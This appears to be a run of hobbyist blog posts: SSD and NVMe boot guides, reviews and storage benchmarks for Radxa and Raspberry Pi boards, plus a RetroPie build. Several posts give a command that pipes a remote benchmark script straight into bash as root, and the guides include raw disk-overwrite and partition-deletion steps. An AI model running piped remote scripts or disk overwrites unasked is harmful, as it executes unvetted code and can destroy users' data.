CLI the first time you try to boot. Reboot and Verify Now reboot the Rock Pi 4C Plus with: sudo reboot With any luck you should be booted using your SSD! We can verify this with the mount command like this: rock@rockpi-4cplus:~$ mount /dev/nvme0n1p5 on / type ext4 (rw,relatime,data=ordered) /dev/mmcblk0p4 on /boot type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=936,iocharset=utf8,shortname=mixed,errors=remount-ro,x-systemd.automount) Here we can see that our root partition (/) is indeed on /dev/nvme0n1p5 and not /dev/mmcblk0p5. We can also see that my /boot folder is properly mounted is /dev/mmcblk0p4 (the SD card which is serving as our boot loader). Success! Testing Performance You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 370.59 MB/s HDParm Cached Disk Read 349.16 MB/s DD Disk Write 211 MB/s FIO 4k random read 47962 IOPS (191850 KB/s) FIO 4k random write 12760 IOPS (51040 KB/s) IOZone 4k read 56308 KB/s IOZone 4k write 56392 KB/s IOZone 4k random read 38025 KB/s IOZone 4k random write 59999 KB/s Score: 14,003 The full Rock Pi 4C Plus benchmark can be viewed here on Pi Benchmarks. Conclusion The Rock Pi 4C Plus is a bit of a pain to get to boot from the NVMe storage but it’s well worth the performance gains. If you are using a different OS than the official OS you may need to adjust some of the partitions to get this to work but you can follow the same process. I highly recommend the little M.2 NVMe modules. They will save you money over SD cards and give you much higher performance and access to much greater storage capacities. If you want to spend more than $13 then you can get much, much higher storage capacities (but the price rises accordingly). It’s definitely worth it! Other Resources I’ve written a review about the Rock Pi 4C Plus here All of my single board computer reviews are available here #### Radxa Zero Debian SSD Boot Guide Radxa Zero Debian SSD Boot Guide The Radxa Zero can definitely be set up to boot from USB storage / using a SSD. You can do this trick using both the eMMC and an SD card. Given that the board also has a quad-core processor you can actually make a tiny and pretty powerful server setup with something like this achieving pretty impressive I/O speeds for such a small package. In this guide I’ll show you how to set up SSD booting on the Radxa Zero using their official Debian operating system. Let’s get started! Table of Contents Toggle Hardware UsedPreparing SD Card / eMMCPreparing SSDCloning Installation to SSDChange SD card’s rootfs UUIDChange SSD’s boot UUIDRun fsckReboot and VerifyTesting PerformanceOther Resources Hardware Used StarTech USB-C to 2.5″ SATA Adapter The StarTech USB31CSAT3CB is a USB-C 2.5″ SATA adapter that is perfect for plugging into boards that only have USB-C ports without having to use additional adapters Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Radxa Zero The Radxa Zero comes in the form factor of the Raspberry Pi Zero but is upgraded to USB-C and a quad-core CPU. Available with RAM options of 1/2/4GB and eMMC options of 8/16/32/64/128GB. Links: AliExpress*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Preparing SD Card / eMMC First you should have a completely working installation on a SD card of the OS that you would like to use. I used the official Debian desktop image for this guide (recommended) so if your partitions are different it may be your flavor of Linux and need slightly altered instructions. If you have an already working installation you want to move to your SSD you can use this as well most likely. You should completely update first with: sudo apt update && sudo apt full-upgrade I will be using a SD card for this guide. The method itself will work fine though with the eMMC as well. Just make sure you get the right device paths (/dev/mmcblk1 vs. /dev/mmcblk2, use lsblk to see which ones are actively in use and mounted as /). Preparing SSD First we are going to completely remove all partitions from the drive so it’s completely blank. Your drive should typically be /dev/sda: sudo gdisk /dev/sda Now remove all partitions from the device. If you press “p” it will print out the partitions. You can then use “d” to delete them. Here’s an example on mine: radxa@radxa-zero:~$ sudo gdisk /dev/sda [sudo] password for radxa: GPT fdisk (gdisk) version 1.0.6 Partition table scan: MBR: protective BSD: not present APM: not present GPT: present Found valid GPT with protective MBR; using GPT. Command (? for help): p Disk /dev/sda: 488397168 sectors, 232.9 GiB Model: CT250MX200SSD1 Sector size (logical/physical): 512/4096 bytes Disk identifier (GUID): E983E937-26E4-494E-BCD9-A8CA673A8F52 Partition table holds up to 128 entries Main partition table begins at sector 2 and ends at sector 33 First usable sector is 2048, last usable sector is 250069646 Partitions will be aligned on 2048-sector boundaries Total free space is 2566799 sectors (1.2 GiB) Number Start (sector) End (sector) Size Code Name 1 61440 585727 256.0 MiB EA00 bootfs 2 585728 247562239 117.8 GiB 8300 Command (? for help): d Partition number (1-2): 1 Command (? for help): d Using 2 Command (? for help): w Warning! Secondary header is placed too early on the disk! Do you want to correct this problem? (Y/N): Y OK; writing new GUID partition table (GPT) to /dev/sda. The operation has completed successfully. Keep pressing d until all the partitions are deleted. Once they are gone use the ‘w’ command to write your changes. Cloning Installation to SSD We’re now ready to clone your installation to the SSD. We can now copy your drive to the SSD with the following command: cat /dev/mmcblk1 > /dev/sda Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). Remember that you are copying an entire drive from one to another basically with that one command. Mine took about 30-45 minutes (although I was using a 64GB SD card and the larger SD card you use the longer it will take to copy the whole drive). If you are having any trouble with permissions try becoming “root” first with: sudo su Now try running the command again and as the superuser you should not encounter any permission errors. Change SD card’s rootfs UUID We need to change our SD card’s UUID so that it doesn’t try to boot from that partition. We can set it to a random one with the following command: sudo tune2fs -O metadata_csum_seed -U random /dev/mmcblk1p2 We can verify that it has changed with blkid like this: root@radxa-zero:/home/radxa# sudo blkid /dev/mmcblk1p1: LABEL_FATBOOT="config" LABEL="config" UUID="4917-99FE" BLOCK_SIZE="512" TYPE="vfat" PARTUUID="b6724908-01" /dev/mmcblk1p2: LABEL="rootfs" UUID="d23a0a20-87b7-47e6-ad8f-a89ae736d289" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="b6724908-02" /dev/sda1: LABEL_FATBOOT="config" LABEL="config" UUID="4917-99FE" BLOCK_SIZE="512" TYPE="vfat" PARTUUID="b6724908-01" /dev/sda2: LABEL="rootfs" UUID="215a8efd-1276-4faa-a223-30a89609b9a9" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="b6724908-02" Notice that /dev/sda2 and /dev/mmcblk1p2 no longer have matching UUIDs. This is exactly what we want. Change SSD’s boot UUID Next we are going to change the boot partition’s UUID on the SSD. This will make it so that the mounted /boot folder inside your operating system actually mounts the SD card (which is your actual boot loader in this configuration). First make sure you have mtools with: sudo apt install mtools -y Now we can change the UUID with: sudo mlabel -N aaaa1111 -i /dev/sda1 :: You can verify these are different using the same sudo blkid command as the previous section. Run fsck Before we reboot run fsck on the drive like this: sudo fsck -yf /dev/sda2 This will prevent you from having to run fsck on the CLI the first time you try to boot. Reboot and Verify Now reboot the Radxa Zero with: sudo reboot With any luck you should be booted using your SSD! We can verify this with the mount command like this: radxa@radxa-zero:~$ mount /dev/sda2 on / type ext4 (rw,relatime) systemd-1 on /config type autofs (rw,relatime,fd=48,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=1975) /dev/mmcblk1p1 on /config type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro,x-systemd.automount) radxa@radxa-zero:~$ Here we can see that our root partition (/) is indeed on /dev/sda2 and not /dev/mmcblk1p2. We can also see that my /boot folder is properly mounted is /dev/mmcblk1p1 (the SD card or eMMC which is serving as our boot loader). Success! Testing Performance You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 31.72 MB/s HDParm Cached Disk Read 31.42 MB/s DD Disk Write 33.6 MB/s FIO 4k random read 6259 IOPS (25036 KB/s) FIO 4k random write 6243 IOPS (24975 KB/s) IOZone 4k read 10203 KB/s IOZone 4k write 10552 KB/s IOZone 4k random read 9269 KB/s IOZone 4k random write 11154 KB/s Score: 2,912 The full Radxa Zero SSD benchmark can be viewed here on Pi Benchmarks. This is quite the improvement over my SD card score of 1,049 from my Radxa Zero review. I definitely recommend this for anyone who needs to get higher storage performance out of the Radxa Zero! Note that it’s USB 2.1 performance so it’s definitely not as high as some other boards can hit. It’s still 3x the speed of a SD card though so I’d say it’s still worth it! The eMMC on the other hand is faster. If you have a big enough eMMC it may not be worth SSD booting at all (at least for performance reasons). It may make more sense to just attach the SSD and mount it. No matter what your use case is though this should give you the option to SSD boot if it makes the most sense for what you are trying to do! Other Resources I’ve also reviewed the Radxa Zero here Don’t miss my Radxa Rock 5B review here I’ve written a review about the Rock Pi 4C Plus here All of my single board computer reviews are available here #### Radxa Zero SBC Review Radxa Zero SBC Review The Radxa Zero has been extremely popular since release and is still pretty hard to find on many major retailers. After trying to get it from a couple of different places I finally received mine this week! In this review we’ll dive into using the Radxa Zero including the available images, hardware capabilities and what kind of performance to expect. Will the Radxa Zero live up to how popular the board seems to be and how hard it is to get? Let’s find out! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityAvailable ImagesTesting PerformancePros / ConsProsConsConclusionOther ResourcesHow fast is the onboard eMMC storage on the Radxa Zero?Can I use Raspberry Pi HATs on the Radxa Zero?What Linux distributions run best on the Radxa Zero? Hardware Used Radxa Zero The Radxa Zero comes in the form factor of the Raspberry Pi Zero but is upgraded to USB-C and a quad-core CPU. Available with RAM options of 1/2/4GB and eMMC options of 8/16/32/64/128GB. Links: AliExpress*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Specifications CPU: Amlogic S905Y2 64bit quad core processor Quad Cortex-A53, 1.8GHz, 12nm GPU: Mali G31 MP2 GPU, supports OpenGL ES 1.1 /2.0 /3.1 /3.2, Vulkan 1.1, Open CL 1.1 1.2, 2.0 Full Profile Memory: LPDDR4 64bit dual channel LPDDR4@3200Mb/s, 1/2/4GB Storage: eMMC 5.1 soldered high performance eMMC 5.1 with capacities of 8/16/32/64/128GB (depending on model) MicroSD card: microSD slot supports up to 128GB Video Decoding: HD codec H265/VP9 decode 4Kx2K@60 Display Micro HDMI: HDMI 2.1, 4K@60 HDR Wifi/BT Antenna: Wifi/BT On Board WIFI4/BLE4 for 512MB and 1GB models WIFI5/BLE5 for 2GB and 4GB models USB: 3.0 Type-C HOST x1 dedicated USB3.0 channel 2.0 Type-C OTG x1 Network (depending on the model): Wireless 802.11 abgn wifi 2,4GHz, Bluetooth 4.2 Wireless 802.11 ac wifi 2,4/5GHz, Bluetooth 5.0 IO 40-pin expansion header: 1 x UART 2 x SPI bus 2 x I2C bus 1 x PCM/I2S 1 x SPDIF 1 x PWM 1 x ADC 6 x GPIO 2 x 5V DC power in 2 x 3.3V power in Crypto Engine One button Size: 66 x 30 mm Build Quality The Radxa Zero is absolutely packed with components. The board is actually pretty dense and has a little bit of weight to it. Take a look at the top view of the board: Radxa Zero – Top I received board revision V1.51. We can see the color-coded GPIO pins on the top here. All of the traces are clearly visible on the board. You can also see that the Radxa Zero uses all USB-C! This is honestly what I expected the Raspberry Pi Zero 2W to look like. It’s very nice to see this instead of micro USB on the board. There definitely isn’t as much to see on the bottom of the board: Radxa Zero – Bottom One notable thing on the bottom though is the SD card slot (labeled TF on the left hand side of the board). Overall the build quality is excellent and I suspect the board will last a very long time. Available Images The official page to get images for the Radxa Zero is here. I however don’t recommend using it because all of those images are very old. Instead I suggest using the official Radxa build GitHub release pages here which has much newer releases. These include the following: Armbian (Bullseye Minimal) Armbian (Focal XFCE Desktop) Debian (Buster XFCE) Ubuntu Server (Focal) There are also the following third-party images available for the Radxa Zero: openSUSE Tumbleweed JeOS LineageOS 18.1 Slarm64 CRUX-ARM Manjaro RetroPie Twister OS This is a very healthy selection of images available. The board is well supported and there should be an image for just about everyone! Testing Performance You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 21.94 MB/s HDParm Cached Disk Read 21.93 MB/s DD Disk Write 17.1 MB/s FIO 4k random read 1856 IOPS (7426 KB/s) FIO 4k random write 955 IOPS (3821 KB/s) IOZone 4k read 7476 KB/s IOZone 4k write 2326 KB/s IOZone 4k random read 6210 KB/s IOZone 4k random write 3581 KB/s Score: 1,049 The full Radxa Zero benchmark can be viewed here on Pi Benchmarks. This performance puts it above the Raspberry Pi Zero and pretty close to the Raspberry Pi Zero 2W. Pros / Cons Pros A wide variety of eMMC and memory options are available Powerful quad-core CPU Includes USB-C (no micro USB!) Cons Availability is pretty scarce even some time after release Conclusion I definitely understand why the Radxa Zero is so popular. It’s very powerful and feels like more of what I was expecting the Raspberry Pi Zero 2W to be. It’s very nice to be upgraded to USB-C. The quad-core CPU keeps pace pretty well with the Zero 2W as well. Surprisingly the board seems to be available on Amazon in some European countries but there is no Amazon.com listing for it at time of writing. It’s pretty widely available on AliExpress though no matter where you are. If you need a very small form factor or the form factor of a Raspberry Pi Zero this will be a fantastic alternative for people who can get away with not having to use Raspberry Pi OS. If you’re able to use Armbian / Debian / Ubuntu instead then it’s very likely you can use this alternative to the Raspberry Pi Zero 2W. Cooling is definitely recommended. The copper heat sinks I recommend are great* but make sure you have something. The quad-core CPU is quite powerful and if you run it bare you’ll run into throttling and other issues a lot more frequently. It will perform better / smoother with a heat sink on it for sure. This board is suitable for beginners. You don’t need to do any firmware flashing or anything fancy to get this one working. A USB to TTY serial console is not required with this board. You can plug it into a monitor and configure it that way. It also includes WiFi/Bluetooth capabilities which avoids having to try to buy an extra adapter for it. Overall I’d recommend this board for anyone who needs a board in this form factor. The eMMC options are definitely worth considering as well as it’s nice to not have to worry about the SD card at all! Other Resources I’ve also reviewed the Radxa Rock 5B here The Radxa Rock 4C+ is also worth considering for a much less expensive option than the Rock 5B that still supports NVMe The Orange Pi portable monitor is a great choice to use with any SBC You can see all of my articles related to Radxa here How fast is the onboard eMMC storage on the Radxa Zero?The soldered eMMC 5.1 storage scores roughly 1,049 in community benchmarks, translating to ~21.9 MB/s sequential reads and ~17.1 MB/s writes. Performance is stable but heavily relies on adequate heatsinking to prevent thermal throttling.Can I use Raspberry Pi HATs on the Radxa Zero?Physically, yes, it uses a 40-pin layout. However, because the internal GPIO address mapping differs and driver overlays are missing, standard Raspberry Pi software and libraries will not function without significant modification.What Linux distributions run best on the Radxa Zero?The board runs mainline Debian/Ubuntu-based Armbian builds smoothly. It also supports official Radxa images. The 1.8 GHz quad-core Amlogic S905Y2 handles daily desktop tasks and light server workloads effectively. #### Raspberry Pi 3 NES Classic RetroPie Build I confess I have never been a big fan of emulation.  It never felt like playing the real thing to me.  However this setup really looks, feels and plays like the genuine article.  We will use a nice case, premium controllers and a Raspberry Pi board with RetroPie to create a truly authentic retro gaming experience.  If you haven’t heard about RetroPie yet it is a Raspberry Pi distribution that supports emulation of dozens of systems such as the NES, SNES, N64, Sega Genesis and a whole bunch of other awesome retro systems. An entire system can be built for less than 100 dollars.  If you missed out on the NES Classic release before it was shortly discontinued (I did) then here is a really cool build that will let you build your own version that has many advantages such as being able to play NES / SNES / GameBoy / Sega / N64 / many others.  It’s also about half the size of the NES Classic.  Here’s a comparison of a NES Classic (the new tiny one, not an original NES) vs our build: NES Classic vs RPI 3 Build Table of Contents Toggle EquipmentControllersSoftwareAssemblyRetroPie Installation / ConfigurationBenchmarking / Testing StorageConclusion Equipment Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* CanaKit 3.5A Power Adapter The CanaKit 3.5A adapter has an extra half an amp (500 mA) of capacity to give some breathing room to your accessories. This is bigger than the official Pi power supply which provides 3.0A. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.sg* SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* HDMI Cable*NES Classic Pi 3 Case (real finish, not 3D printed)*NES30 Pro Bluetooth Controller* -OR- SN30 Bluetooth Controller* -OR- 2 Pack of SNES USB Controllers* The Build The Pi Classic case The rear of the case with SD slot access The Pi Case opened up.  The two heatsinks you see come with the case. One of the biggest complaints people have had with the NES classic is that the lid doesn’t open.  Well…. Our PI Classic case has an opening lid! Controllers There are many choices for controllers.  The Raspberry Pi 3 has bluetooth built in so you can have a wireless controller.  The bluetooth controllers are a little more difficult to initially configure since you need to pair them first but it is well worth it and covered extensively in the configuration guide I link to in the configuration section. If you are on a tight budget grab the 2 pack of USB SNES controllers (they are fine for NES games too).  These are the highest rated USB controllers on Amazon.  Try to avoid ultra cheap controllers because many people have experienced problems with the D-Pad not performing like a genuine Nintendo controller.  This can cause problems when you try to hold up and right at the same time to move diagonally as an example.  The controllers I have linked all have hundreds of positive reviews and have good D-Pads that will function correctly and feel right. You may also use bluetooth compatible and USB controllers from other gaming systems.  Check the RetroPie link in the configuration section to make sure yours is compatible if you want to go this route.  Here are the two controllers I went with (links in the equipment section): NES30 Bluetooth Pro Controller SNES30 Bluetooth Controller Software Win32DiskImager (if using Windows, if you aren’t using Windows I assume you know how to burn an image to your SD card)RetroPie image located at RetroPie – Download Page – Click the button on the right for Raspberry Pi 2 / Raspberry Pi 3ROMS for the system you want to play.  You will need to google/torrent these as I cannot redistribute them legally but they are VERY easy to find. Assembly Assembling the case is extremely easy.  It’s 4 screws to hold the Pi in place and the case comes with 2 heatsinks you can put on the Pi 3.  The heatsinks have adhesive on the bottom of them so you can stick them right on.Plug the HDMI cable from your Pi into your monitor/TVThere is easy access to your SD slot in the back of the case.  Once you follow the RetroPie installation instructions below you can eject the card from your computer and stick it right in there and plug in the power cable. RetroPie Installation / Configuration RetroPie has an amazing guide on how to download and install RetroPie on your SD card and configure the system for your controllers.  It will also tell you how to transfer ROMs to your system using a USB stick, over the network, and a few other methods.  Check out the guide here: RetroPie – Official First Installation Guide Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Conclusion You will be blown away by the performance of this system.  There is no lag.  All sounds and music are 100% correct and authentic.  It’s incredibly tiny and consumes very little power.  Finally I find myself able to enjoy emulation without it feeling so fake.   If anybody else sees you playing this on your TV they will absolutely believe you are playing the original NES or the NES Classic if they notice the size of the console.   As long as you don’t cheap out on the controllers you will have a great experience and I highly recommend this build.  This is one my favorite builds I have ever done with the Raspberry Pi and I highly recommend it! #### Raspberry Pi 3B+ MicroSD / SSD Speed Benchmarks UPDATE: The 2022 storage benchmarks are now available! After publishing my Raspberry Pi Minecraft Server tutorial I got some feedback on Reddit to try using a USB SSD for storage.  I expected some marginal improvement but nothing spectacular due to the USB 2.0 bus data rates.  In fact the results were so spectacular that I’m changing my storage recommendations entirely.  Let the games begin! The contenders for the RPI storage benchmarks Table of Contents Toggle The ContendersThe TestBenchmarking / Testing StorageResultsConclusion The Contenders Samsung Evo 32GB MicroSD*Samsung Evo+ 32GB MicroSD*Samsung Pro Plus 32GB MicroSD*SanDisk Ultra 64GB MicroSD*EMTEC 64GB MicroSD*SanDisk Cruzer Glide 16GB Flash Drive*SanDisk Extreme 64GB Flash Drive*Hynix mSATA 128GB Solid State Drive*Crucial 2.5″ MX Series SATA Solid State Drive* The Test Each drive was imaged with Raspbian Lite and booted up once and a sudo apt-get update && sudo apt-get upgrade was issued.  After a reboot the testing began.  The mSATA solid state drive uses a USB 3.0 adapter to create a really cool flash drive (see my article here on how to make one).  The Crucial solid state drive uses a 2.5″ SATA to USB 3.0 adapter*. The Raspberry Pi 4* was set to boot from USB mode so the entire operating system was running on the solid state drives just like the mSATA drives to provide a fair playing field. The most important factor performance wise for a card running an operating system is small random read/writes.  The operating system is constantly reading/writing these.  The dd test measures raw throughput and represents what performance you’d see transferring a large file.  Some storage devices have very high throughput but poor 4k read/writes which indicates a poor medium to use as a card for your Raspian operating system. Alright, on to the testing! Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Results Contenderdd test4k random read4k random write4k read4k write4k rewriteEMTEC8.4 MB/s64222057431209204Samsung Evo+7.3 MB/s476876149146131117SanDisk Ultra13.6 MB/s92472686955823242895Samsung Evo16.6 MB/s1029733291034514953230Samsung Pro Plus23.5 MB/s1018921151024724602985SanDisk Cruzer USB4.7 MB/s398911161017020261969SanDisk Extreme USB16.1 MB/s7339907711491973210291Hynix mSATA SSD USB35.5 MB/s923111401114891099611473Crucial 2.5″ SATA SSD USB35.1 MB/s1016711419110811041211443 Conclusion The cheap MicroSD cards performed about as poorly as expected.  If you are running one of the generic cheap MicroSD cards in your Pi you are *really* slowing it down.  The difference from a generic EMTEC to a Samsung Pro Plus is staggering.  The raw dd throughput is 280% faster but the 4k random writes are 1000% faster on the Pro Plus!  You really do get what you pay for with a MicroSD card. Now on to the flash drives.  The SanDisk Cruzer USB Flash drive is only a few bucks.  It performed predictably poorly.  Even mid range MicroSD cards beat it in every category and it was dead last in the dd test.  However don’t write off USB flash drives yet, because the SanDisk Extreme 64GB *crushed* it in 4k random writes.  Although the raw dd test throughput lost to the Samsung Pro Plus it is 233% faster when it comes to random writes.  None of the MicroSD cards come even close.  Conclusion?  If you use a very good USB flash drive you will outperform MicroSD cards fairly easily as there are much faster drives out there than the SanDisk Extreme I used in my test. Now let’s talk about the final category and the true winner here: SSDs.  It’s not even close folks.  These drives are maxing the bus.  They have no weaknesses in any category and are faster than the most premium of all other storage mediums.  The two SSDs tested are not the same speeds.  They are just so fast that they are faster than the USB 2.0 bus can handle and it maxes out somewhere around 35MB/sec.  We are talking a 540% gain in 4k writes over the Samsung Pro Plus (not at all a cheap card). The big takeaway here is that YES, they are worth using over MicroSD cards and flash drives.  On average you are getting at least 4x the random 4k write speed by using a solid state drive with your Raspberry Pi than the most premium of MicroSD cards can provide.  Unless you need your Pi to fit somewhere small and can’t fit a USB-based storage medium into your project, solid state storage is the best choice and clear winner! #### Raspberry Pi 4 / 400 Ubuntu USB Mass Storage Boot Guide Ubuntu Server 20.04 + Raspberry Pi Official support from Canonical for the Raspberry Pi has come a long way. We can now install officially supported Ubuntu on the Pi! In my previous guide for Ubuntu 18.04 on the Pi the Raspberry Pi was not officially supported yet and to be honest the experience was pretty janky. The previous LTS “unofficial” release had so many problems I actually rolled my own image with dozens of fixes to common ailments before I quickly realized that maintaining a Linux distro, even in such a limited capacity as patching in and distributing fixed binaries, was a monumental undertaking. Fortunately the current Ubuntu 20.04 LTS release is officially certified for the Raspberry Pi. This combined with Ubuntu’s full 64 bit userland/system environment allows you to take full advantage of the 8 GB Pi’s memory without per-process 3GB memory limits (very useful if you are doing something like running a Minecraft server and want to allocate almost all of the 8 GB to it) means there has never been a better time to give Ubuntu a try on the Pi. This guide takes it a step further and shows you how to get Ubuntu 20.04 / 20.10 / 21.04 / etc. working with a SSD. Let’s get started! Table of Contents Toggle Equipment UsedPrerequisitesVerify Power Supply Size (3.5A strongly recommended)Recommended Power SolutionsVerify Storage Adapter CompatibilityGet Latest Raspbian & UpdatesVerify EEPROM Bootloader is up to dateChanging rpi-eeprom’s Release ChannelInstall Ubuntu on USB Storage DeviceModifying Ubuntu for USB BootingFind and Mount Storage DeviceModify Mounted Partitions – Option A – Automated ScriptModify Mounted Partitions – Option B – Manual InstructionsFirst BootManual InstructionsDecompress the kernelUpdate config.txt with correct parametersCreate script to automatically decompress kernelCreate apt script to call kernel decompression script automaticallyVerify Drive PerformanceFix (some) USB Adapter Problems Using QuirksFind Your AdapterApplying QuirksVerifying QuirksOther Resources Equipment Used Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* NVME Option (powered USB hub required, see “Power Requirements” section in my more generalized Raspberry Pi 4 USB booting guide): Samsung 970 EVO Plus NVMe SSD The Samsung 970 EVO Plus is a fantastic drive and has fallen in price substantially. It’s widely available around the world. The smaller capacities (such as the 250GB version) of this drive are perfect for the Pi! This is the top performance option without going into the “Pro” series of the lineup which are much more expensive. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* ASUS ROG Strix Enclosure If you really want to take things over the top the ASUS Rog Strix M.2 NVMe enclosure uses the latest USB 3.2 Gen2 specification, is RGB capable and works with the Pi! Unsurprisingly, adding the extra lighting does take extra power! A powered USB hub is also required for this enclosure. More widely available than the ICY BOX but tends to be on the expensive side. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, *Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Prerequisites Verify Power Supply Size (3.5A strongly recommended) Check your Raspberry Pi’s power supply size and make sure it is delivering at least 3.5A. There are a lot of USB C adapters for the Raspberry Pi that are only 3.0A. These will typically work fine, until you plug in something like a SSD which draws power from the Pi and there is nothing left to give. Most SSDs are quite power efficient but HDDs draw significantly more. Older generations of SSDs used quite a bit more power than newer ones as well. If you are using an older drive or a drive that you know is power hungry you need to pay extra attention to having a quality power source with plenty of capacity. A good alternative option to relying on the Pi to power the drive is using a powered USB hub* so your drive doesn’t need to draw power from the Pi’s limited power budget. Make sure you get one that is compatible with the Pi as some powered USB hubs won’t work properly with it so check the reviews and do your research to make sure people are using it successfully with the Pi. Using a 3.5A power supply* or powered USB hub* will ensure your drive is getting enough power without impacting the Pi’s stability. Recommended Power Solutions Sabrent Powered USB 3.0 Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. This is almost as much as the Pi adapter itself is rated for (3.0A). It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power CanaKit 3.5A Power Adapter The CanaKit 3.5A adapter has an extra half an amp (500 mA) of capacity to give some breathing room to your accessories. This is bigger than the official Pi power supply which provides 3.0A. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.sg* Verify Storage Adapter Compatibility You will need a USB 3.0 storage adapter. See my other article on USB booting not specific to Ubuntu for a lot more details on the storage adapters! Get Latest Raspbian & Updates To update your bootloader / firmware you should use Raspbian on a SD card. Right now support in third party operating systems to do anything with the new Raspberry Pi 4’s firmware or bootloader is very limited / nonexistent. You can use a third party operating system later once you set the boot mode, but to actually make these changes we will use official Raspbian. First make sure that you have the absolute latest updates and firmware for the Pi. To upgrade all your packages and firmware to the latest version use the following command: sudo apt update && sudo apt full-upgrade -y Once the update has completed restart your Pi with a sudo reboot command to apply the latest firmware / kernel updates. Verify EEPROM Bootloader is up to date We can check if your Pi’s bootloader firmware is up to date with the following command: sudo rpi-eeprom-update If your Raspbian is *very* out of date you may not have this utility and can install it using: sudo apt install rpi-eeprom The output from rpi-eeprom-update will look like this if you are not up to date: BCM2711 detected VL805 firmware in bootloader EEPROM *** UPDATE AVAILABLE *** 